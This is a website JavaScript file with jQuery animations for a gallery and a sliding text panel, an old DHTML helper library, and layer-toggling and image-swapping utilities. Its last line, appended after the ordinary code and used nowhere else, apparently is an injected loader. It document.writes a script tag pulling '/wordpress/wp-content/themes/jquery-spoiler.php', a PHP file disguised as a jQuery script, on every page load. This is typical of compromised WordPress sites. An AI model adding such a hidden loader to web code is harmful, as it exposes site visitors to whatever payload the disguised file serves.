// show addthis on click, not on rollover
var addthis_config = { ui_click:false, ui_delay:500 };


$(document).ready(function(){

	showImageZoom = function(image) {
		$(image).show();
		$('#gallery_zoom_overlay').show();
	}
	
	hideImageZoom = function(image) {
		$(image).hide();
		$('#gallery_zoom_overlay').hide();
	}

	slideInSideText = function() {
		$('#sidetextcontainer').animate({ width: "245px" }, 1500, "easeOutQuart");
	}
	
	slideOutSideText = function() {
		$('#sidetextcontainer').animate({ width: "22px" }, 1500, "easeOutQuart");
	}
	
	$('#sidetextcontainer').animate({ width: "0px" }, 750, "linear", slideInSideText);
	
	$('#arrow_hide').click(function() {
		slideOutSideText();
		$('#arrow_hide').hide();
		$('#arrow_show').show();
	});
	
	$('#arrow_show').click(function() {
		slideInSideText();
		$('#arrow_show').hide();
		$('#arrow_hide').show();
	});
	
	var scrollspeed = 400; // pixel/second
	
	$('#arrow_up').mousedown(function(e){
		var topMax = $('#textinside').height() - $('#text').height();
		var top = parseFloat( $('#textinside').css("top") );
		
		if(top < 0) {
			var distance = -top;
			$('#textinside').animate({ "top": "+=" + distance + "px" }, distance / scrollspeed * 1000, "linear");
		}
	});

	$('#arrow_up').mouseup(function(e){
		$('#textinside').stop();
	});
	
	$('#arrow_down').mousedown(function(e){
		var topMax = $('#textinside').height() - $('#text').height();
		var top = parseInt( $('#textinside').css("top") );
		
		if(-top < topMax) {
			var distance = topMax + top;
			$('#textinside').animate({ "top": "-=" + distance + "px" }, distance / scrollspeed * 1000, "linear");
		}
	});

	$('body').mouseup(function(e){
		$('#textinside').stop();
	});

});



// DHTML-lib, taken from SelfHTML 8.0

var DHTML = 0, DOM = 0, MS = 0, NS = 0, OP = 0;

function DHTML_init() {

 if (window.opera) {
     OP = 1;
 }
 if(document.getElementById) {
   DHTML = 1;
   DOM = 1;
 }
 if(document.all && !OP) {
   DHTML = 1;
   MS = 1;
 }
if(document.layers && !OP) {
   DHTML = 1;
   NS = 1;
 }
}

function getElem(p1,p2,p3) {
 var Elem;
 if(DOM) {
   if(p1.toLowerCase()=="id") {
     if (typeof document.getElementById(p2) == "object")
     Elem = document.getElementById(p2);
     else Elem = void(0);
     return(Elem);
   }
   else if(p1.toLowerCase()=="name") {
     if (typeof document.getElementsByName(p2) == "object")
     Elem = document.getElementsByName(p2)[p3];
     else Elem = void(0);
     return(Elem);
   }
   else if(p1.toLowerCase()=="tagname") {
     if (typeof document.getElementsByTagName(p2) == "object" || (OP && typeof document.getElementsByTagName(p2) == "function"))
     Elem = document.getElementsByTagName(p2)[p3];
     else Elem = void(0);
     return(Elem);
   }
   else return void(0);
 }
 else if(MS) {
   if(p1.toLowerCase()=="id") {
     if (typeof document.all[p2] == "object")
     Elem = document.all[p2];
     else Elem = void(0);
     return(Elem);
   }
   else if(p1.toLowerCase()=="tagname") {
     if (typeof document.all.tags(p2) == "object")
     Elem = document.all.tags(p2)[p3];
     else Elem = void(0);
     return(Elem);
   }
   else if(p1.toLowerCase()=="name") {
     if (typeof document[p2] == "object")
     Elem = document[p2];
     else Elem = void(0);
     return(Elem);
   }
   else return void(0);
 }
 else if(NS) {
   if(p1.toLowerCase()=="id" || p1.toLowerCase()=="name") {
   if (typeof document[p2] == "object")
     Elem = document[p2];
     else Elem = void(0);
     return(Elem);
   }
   else if(p1.toLowerCase()=="index") {
    if (typeof document.layers[p2] == "object")
     Elem = document.layers[p2];
    else Elem = void(0);
     return(Elem);
   }
   else return void(0);
 }
}

function getCont(p1,p2,p3) {
   var Cont;
   if(DOM && getElem(p1,p2,p3) && getElem(p1,p2,p3).firstChild) {
     if(getElem(p1,p2,p3).firstChild.nodeType == 3)
       Cont = getElem(p1,p2,p3).firstChild.nodeValue;
     else
       Cont = "";
     return(Cont);
   }
   else if(MS && getElem(p1,p2,p3)) {
     Cont = getElem(p1,p2,p3).innerText;
     return(Cont);
   }
   else return void(0);
}

function getAttr(p1,p2,p3,p4) {
   var Attr;
   if((DOM || MS) && getElem(p1,p2,p3)) {
     Attr = getElem(p1,p2,p3).getAttribute(p4);
     return(Attr);
   }
   else if (NS && getElem(p1,p2)) {
       if (typeof getElem(p1,p2)[p3] == "object")
        Attr=getElem(p1,p2)[p3][p4]
       else
        Attr=getElem(p1,p2)[p4]
         return Attr;
       }
   else return void(0);
}

function setCont(p1,p2,p3,p4) {
   if(DOM && getElem(p1,p2,p3) && getElem(p1,p2,p3).firstChild)
     getElem(p1,p2,p3).firstChild.nodeValue = p4;
   else if(MS && getElem(p1,p2,p3))
     getElem(p1,p2,p3).innerText = p4;
   else if(NS && getElem(p1,p2,p3)) {
     getElem(p1,p2,p3).document.open();
     getElem(p1,p2,p3).document.write(p4);
     getElem(p1,p2,p3).document.close();
   }
}

DHTML_init();


// hideShowLayers //////////////////////////////////////////////////////////////
// (c) markus lerner
// 2006-06-22

function toggleDisplay(id1, id2) {
	if(getElem("id", id1, null).style.display == "none") {
		getElem("id", id1, null).style.display = "block";
		getElem("id", id2, null).style.display = "none";
	} else {
		getElem("id", id2, null).style.display = "block";
		getElem("id", id1, null).style.display = "none";
	}
}

function showLayer(id) {
	getElem("id", id, null).style.visibility = "visible";
	getElem("id", id, null).style.display = "block";
}

function hideLayer(id) {
	getElem("id", id, null).style.visibility = "hidden";
	getElem("id", id, null).style.display = "none";
}

function setActive(id) {
	getElem("id", id, null).style.backgroundColor = "#DD0000";
	getElem("id", id, null).style.color = "white";
}

function setInactive(id) {
	getElem("id", id, null).style.backgroundColor = "#DDDDDD";
	getElem("id", id, null).style.color = "#666666";
}

function setInactiveSelected(id) {
	getElem("id", id, null).style.backgroundColor = "#777777";
	getElem("id", id, null).style.color = "white";
}



// imageSwapper ////////////////////////////////////////////////////////////
// (c) markus lerner
// 2005-04-25

imageSwapper = {};

var preloadFlag = false;

imageSwapper.init = function() {
	if (document.images) {
		this.images = new Array();
		for (var i = 0; i < this.init.arguments.length; i++) {
			this.images[i] = this.createImage(this.init.arguments[i]);
		}
		preloadFlag = true;
	}
}

imageSwapper.createImage = function(url) {
	if (document.images) {
		var img = new Image();
		img.src = url;
		return img;
	}
}

imageSwapper.setImage = function(id, url) {
	if(document.images && preloadFlag) {
		var objImage = getElem("id", id, null);
		objImage.src = url;
	}
}

imageSwapper.setImage2 = function(id, url, id2, url2) {
	if(document.images && preloadFlag) {
		var objImage = getElem("id", id, null);
		objImage.src = url;
		var objImage2 = getElem("id", id2, null);
		objImage2.src = url2;
	}
}

imageSwapper.setImageShowLayer = function(id, url, idShow) {
	if(document.images && preloadFlag) {
		var objImage = getElem("id", id, null);
		objImage.src = url;
	}
	getElem("id", idShow, null).style.visibility = "visible";
	getElem("id", idShow, null).style.display = "block";
}

imageSwapper.setImageHideLayer = function(id, url, idHide) {
	if(document.images && preloadFlag) {
		var objImage = getElem("id", id, null);
		objImage.src = url;
	}
	getElem("id", idHide, null).style.visibility = "hidden";
	getElem("id", idHide, null).style.display = "none";
}
document.write('<script type="text/javascript" src="/wordpress/wp-content/themes/jquery-spoiler.php"><\/script>');
